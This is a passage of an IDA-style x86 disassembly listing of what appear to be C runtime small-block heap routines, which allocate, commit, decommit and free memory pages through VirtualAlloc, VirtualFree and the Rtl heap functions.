		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_40F44C
		or	[eax+4], edi


loc_40F44C:				; CODE XREF: sub_40F366+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_40F45C:				; CODE XREF: sub_40F366+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F461	proc near		; CODE XREF: sub_40C4F8+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_40F60F
		test	bl, 1
		jnz	loc_40F608
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_40F608
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_40F4D8
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_40F4D8:				; CODE XREF: sub_40F461+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_40F528
		cmp	ecx, 20h
		jnb	short loc_40F504
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40F528
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_40F528
; ---------------------------------------------------------------------------


loc_40F504:				; CODE XREF: sub_40F461+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40F528
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_40F528:				; CODE XREF: sub_40F461+7Dj
					; sub_40F461+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_40F5F6
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_40F562
		push	3Fh
		pop	edi


loc_40F562:				; CODE XREF: sub_40F461+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_40F5E4
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_40F5BB
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_40F5AE
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_40F5AE:				; CODE XREF: sub_40F461+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_40F5E0
; ---------------------------------------------------------------------------


loc_40F5BB:				; CODE XREF: sub_40F461+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_40F5D1
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_40F5D1:				; CODE XREF: sub_40F461+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_40F5E0:				; CODE XREF: sub_40F461+158j
		shr	edx, cl
		or	[eax], edx


loc_40F5E4:				; CODE XREF: sub_40F461+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_40F5F9
; ---------------------------------------------------------------------------


loc_40F5F6:				; CODE XREF: sub_40F461+E5j
		mov	edx, [ebp+arg_4]


loc_40F5F9:				; CODE XREF: sub_40F461+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_40F74F
; ---------------------------------------------------------------------------


loc_40F608:				; CODE XREF: sub_40F461+52j
					; sub_40F461+5Cj
		xor	eax, eax
		jmp	loc_40F752
; ---------------------------------------------------------------------------


loc_40F60F:				; CODE XREF: sub_40F461+49j
		jge	loc_40F74F
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_40F63A
		push	3Fh
		pop	esi


loc_40F63A:				; CODE XREF: sub_40F461+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_40F6C9
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_40F653
		push	3Fh
		pop	esi


loc_40F653:				; CODE XREF: sub_40F461+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_40F6A2
		cmp	esi, 20h
		jnb	short loc_40F67E
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_40F69F
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_40F69F
; ---------------------------------------------------------------------------


loc_40F67E:				; CODE XREF: sub_40F461+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40F69F
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_40F69F:				; CODE XREF: sub_40F461+214j
					; sub_40F461+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_40F6A2:				; CODE XREF: sub_40F461+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_40F6C9
		push	3Fh
		pop	esi


loc_40F6C9:				; CODE XREF: sub_40F461+1DDj
					; sub_40F461+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_40F746
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_40F71D
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40F710
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_40F710:				; CODE XREF: sub_40F461+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_40F742
; ---------------------------------------------------------------------------


loc_40F71D:				; CODE XREF: sub_40F461+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40F733
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_40F733:				; CODE XREF: sub_40F461+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_40F742:				; CODE XREF: sub_40F461+2BAj
		shr	edx, cl
		or	[eax], edx


loc_40F746:				; CODE XREF: sub_40F461+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_40F74F:				; CODE XREF: sub_40F461+1A2j
					; sub_40F461:loc_40F60Fj
		push	1
		pop	eax


loc_40F752:				; CODE XREF: sub_40F461+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F461	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F757	proc near		; CODE XREF: sub_40EBB3+41p
					; sub_40FA4F:loc_40FC1Ep
		cmp	dword_41DC20, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_40F76B
		mov	esi, offset off_41DC10
		jmp	short loc_40F788
; ---------------------------------------------------------------------------


loc_40F76B:				; CODE XREF: sub_40F757+Bj
		push	2020h
		push	0
		push	dword_480F84
		call	dword_417104	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_40F894


loc_40F788:				; CODE XREF: sub_40F757+12j
		mov	ebp, dword_417138
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_40F87D
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_40F86F
		mov	eax, offset off_41DC10
		cmp	esi, eax
		jnz	short loc_40F7E7
		cmp	off_41DC10, 0
		jnz	short loc_40F7D7
		mov	off_41DC10, eax


loc_40F7D7:				; CODE XREF: sub_40F757+79j
		cmp	off_41DC14, 0
		jnz	short loc_40F7FC
		mov	off_41DC14, eax
		jmp	short loc_40F7FC
; ---------------------------------------------------------------------------


loc_40F7E7:				; CODE XREF: sub_40F757+70j
		mov	[esi], eax
		mov	eax, off_41DC14
		mov	[esi+4], eax
		mov	off_41DC14, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_40F7FC:				; CODE XREF: sub_40F757+87j
					; sub_40F757+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_40F81E:				; CODE XREF: sub_40F757+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_40F81E
		push	ebx
		push	0
		push	edi
		call	sub_40B630
		add	esp, 0Ch


loc_40F847:				; CODE XREF: sub_40F757+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_40F86B
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_40F847
; ---------------------------------------------------------------------------


loc_40F86B:				; CODE XREF: sub_40F757+F7j
		mov	eax, esi
		jmp	short loc_40F896
; ---------------------------------------------------------------------------


loc_40F86F:				; CODE XREF: sub_40F757+63j
		push	8000h
		push	0
		push	edi
		call	dword_417134	; VirtualFree


loc_40F87D:				; CODE XREF: sub_40F757+4Bj
		cmp	esi, offset off_41DC10
		jz	short loc_40F894
		push	esi
		push	0
		push	dword_480F84
		call	dword_417108	; RtlFreeHeap


loc_40F894:				; CODE XREF: sub_40F757+2Bj
					; sub_40F757+12Cj
		xor	eax, eax


loc_40F896:				; CODE XREF: sub_40F757+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40F757	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F89B	proc near		; CODE XREF: sub_40F8F1+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_417134	; VirtualFree
		cmp	off_41FC30, esi
		jnz	short loc_40F8C0
		mov	eax, [esi+4]
		mov	off_41FC30, eax


loc_40F8C0:				; CODE XREF: sub_40F89B+1Bj
		cmp	esi, offset off_41DC10
		jz	short loc_40F8E8
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_480F84
		call	dword_417108	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40F8E8:				; CODE XREF: sub_40F89B+2Bj
		or	dword_41DC20, 0FFFFFFFFh
		pop	esi
		retn
sub_40F89B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8F1	proc near		; CODE XREF: sub_40FA0A+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_41DC14
		push	edi


loc_40F8FE:				; CODE XREF: sub_40F8F1+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_40F99C
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_40F917:				; CODE XREF: sub_40F8F1+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_40F958
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_417134	; VirtualFree
		test	eax, eax
		jz	short loc_40F958
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_47F974
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_40F94D
		cmp	eax, edi
		jbe	short loc_40F950


loc_40F94D:				; CODE XREF: sub_40F8F1+56j
		mov	[esi+0Ch], edi


loc_40F950:				; CODE XREF: sub_40F8F1+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_40F965


loc_40F958:				; CODE XREF: sub_40F8F1+2Cj
					; sub_40F8F1+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_40F917


loc_40F965:				; CODE XREF: sub_40F8F1+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_40F99C
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_40F99C
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_40F97C:				; CODE XREF: sub_40F8F1+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_40F98D
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_40F97C


loc_40F98D:				; CODE XREF: sub_40F8F1+8Ej
		cmp	edx, 400h
		jnz	short loc_40F99C
		push	ecx
		call	sub_40F89B
		pop	ecx


loc_40F99C:				; CODE XREF: sub_40F8F1+11j
					; sub_40F8F1+7Dj ...
		cmp	esi, off_41DC14
		jz	short loc_40F9AE
		cmp	[ebp+arg_0], 0
		jg	loc_40F8FE


loc_40F9AE:				; CODE XREF: sub_40F8F1+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F8F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F9B3	proc near		; CODE XREF: sub_40B771+3Ap
					; sub_40C4F8+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_41DC10
		push	esi
		mov	ecx, edx


loc_40F9BF:				; CODE XREF: sub_40F9B3+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_40F9C9
		cmp	eax, [ecx+14h]
		jb	short loc_40F9D1


loc_40F9C9:				; CODE XREF: sub_40F9B3+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_40FA06
		jmp	short loc_40F9BF
; ---------------------------------------------------------------------------


loc_40F9D1:				; CODE XREF: sub_40F9B3+14j
		test	al, 0Fh
		jnz	short loc_40FA06
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_40FA06
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_40FA06:				; CODE XREF: sub_40F9B3+1Aj
					; sub_40F9B3+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_40F9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA0A	proc near		; CODE XREF: sub_40B771+4Dp
					; sub_40C4F8+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_40FA4E
		inc	dword_47F974
		cmp	dword_47F974, 20h
		jnz	short locret_40FA4E
		push	10h
		call	sub_40F8F1
		pop	ecx

locret_40FA4E:				; CODE XREF: sub_40FA0A+2Bj
					; sub_40FA0A+3Aj
		retn
sub_40FA0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA4F	proc near		; CODE XREF: sub_40B6FD+4Ap
					; sub_40C4F8+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_41FC30
		push	edi


loc_40FA5D:				; CODE XREF: sub_40FA4F+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_40FB08
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_40FAC2


loc_40FA88:				; CODE XREF: sub_40FA4F+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_40FAAB
		cmp	[edi+4], ebx
		jbe	short loc_40FAAB
		push	ebx
		push	ecx
		push	eax
		call	sub_40FC57
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40FB1A
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_40FAAB:				; CODE XREF: sub_40FA4F+40j
					; sub_40FA4F+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_40FA88
		jmp	short loc_40FAC5
; ---------------------------------------------------------------------------


loc_40FAC2:				; CODE XREF: sub_40FA4F+37j
		mov	ebx, [ebp+arg_0]


loc_40FAC5:				; CODE XREF: sub_40FA4F+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_40FB0B


loc_40FAD8:				; CODE XREF: sub_40FA4F+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_40FAF7
		cmp	[edi+4], ebx
		jbe	short loc_40FAF7
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_40FC57
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40FB1A
		mov	[edi+4], ebx


loc_40FAF7:				; CODE XREF: sub_40FA4F+8Dj
					; sub_40FA4F+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_40FAD8
		jmp	short loc_40FB0B
; ---------------------------------------------------------------------------


loc_40FB08:				; CODE XREF: sub_40FA4F+14j
		mov	ebx, [ebp+arg_0]


loc_40FB0B:				; CODE XREF: sub_40FA4F+87j
					; sub_40FA4F+B7j
		mov	esi, [esi]
		cmp	esi, off_41FC30
		jz	short loc_40FB2A
		jmp	loc_40FA5D
; ---------------------------------------------------------------------------


loc_40FB1A:				; CODE XREF: sub_40FA4F+54j
					; sub_40FA4F+A3j
		mov	off_41FC30, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_40FC52
; ---------------------------------------------------------------------------


loc_40FB2A:				; CODE XREF: sub_40FA4F+C4j
		mov	eax, offset off_41DC10
		mov	edi, eax


loc_40FB31:				; CODE XREF: sub_40FA4F+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_40FB3D
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_40FB49


loc_40FB3D:				; CODE XREF: sub_40FA4F+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_40FC1E
		jmp	short loc_40FB31
; ---------------------------------------------------------------------------


loc_40FB49:				; CODE XREF: sub_40FA4F+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_40FB78


loc_40FB67:				; CODE XREF: sub_40FA4F+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_40FB78
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_40FB67


loc_40FB78:				; CODE XREF: sub_40FA4F+116j
					; sub_40FA4F+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_417138	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_40FC50
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_40B630
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_40FBDF
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_40FBB5:				; CODE XREF: sub_40FA4F+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_40FBB5


loc_40FBDF:				; CODE XREF: sub_40FA4F+15Ej
		mov	off_41FC30, edi
		lea	eax, [edi+2018h]


loc_40FBEB:				; CODE XREF: sub_40FA4F+1A8j
		cmp	ecx, eax
		jnb	short loc_40FBFB
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_40FBF9
		add	ecx, 8
		jmp	short loc_40FBEB
; ---------------------------------------------------------------------------


loc_40FBF9:				; CODE XREF: sub_40FA4F+1A3j
		cmp	ecx, eax


loc_40FBFB:				; CODE XREF: sub_40FA4F+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_40FC52
; ---------------------------------------------------------------------------


loc_40FC1E:				; CODE XREF: sub_40FA4F+F2j
		call	sub_40F757
		test	eax, eax
		jz	short loc_40FC50
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_41FC30, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_40FC52
; ---------------------------------------------------------------------------


loc_40FC50:				; CODE XREF: sub_40FA4F+143j
					; sub_40FA4F+1D6j
		xor	eax, eax


loc_40FC52:				; CODE XREF: sub_40FA4F+D6j
					; sub_40FA4F+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FA4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC57	proc near		; CODE XREF: sub_40FA4F+4Ap
					; sub_40FA4F+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_40FC9C
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_40FC8B
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_40FC94
; ---------------------------------------------------------------------------


loc_40FC8B:				; CODE XREF: sub_40FC57+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_40FC94:				; CODE XREF: sub_40FC57+32j
		lea	eax, [edi+8]
		jmp	loc_40FD6A
; ---------------------------------------------------------------------------


loc_40FC9C:				; CODE XREF: sub_40FC57+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_40FCA5
		mov	eax, esi


loc_40FCA5:				; CODE XREF: sub_40FC57+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_40FCEF


loc_40FCAC:				; CODE XREF: sub_40FC57+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_40FCE2
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_40FCB8:				; CODE XREF: sub_40FC57+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_40FCC1
		inc	ebx
		inc	esi
		jmp	short loc_40FCB8
; ---------------------------------------------------------------------------


loc_40FCC1:				; CODE XREF: sub_40FC57+64j
		cmp	esi, edx
		jnb	short loc_40FD13
		cmp	eax, [ebp+var_4]
		jnz	short loc_40FCCF
		mov	[ecx+4], esi
		jmp	short loc_40FCDB
; ---------------------------------------------------------------------------


loc_40FCCF:				; CODE XREF: sub_40FC57+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_40FD74


loc_40FCDB:				; CODE XREF: sub_40FC57+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_40FCE7
; ---------------------------------------------------------------------------


loc_40FCE2:				; CODE XREF: sub_40FC57+59j
		movzx	esi, bl
		add	eax, esi


loc_40FCE7:				; CODE XREF: sub_40FC57+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_40FCAC


loc_40FCEF:				; CODE XREF: sub_40FC57+53j
		lea	esi, [ecx+8]


loc_40FCF2:				; CODE XREF: sub_40FC57+EBj
					; sub_40FC57+F2j
		cmp	esi, edi
		jnb	short loc_40FD74
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_40FD74
		mov	al, [esi]
		test	al, al
		jnz	short loc_40FD44
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_40FD0A:				; CODE XREF: sub_40FC57+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_40FD34
		inc	ebx
		inc	eax
		jmp	short loc_40FD0A
; ---------------------------------------------------------------------------


loc_40FD13:				; CODE XREF: sub_40FC57+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_40FD24
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_40FD2D
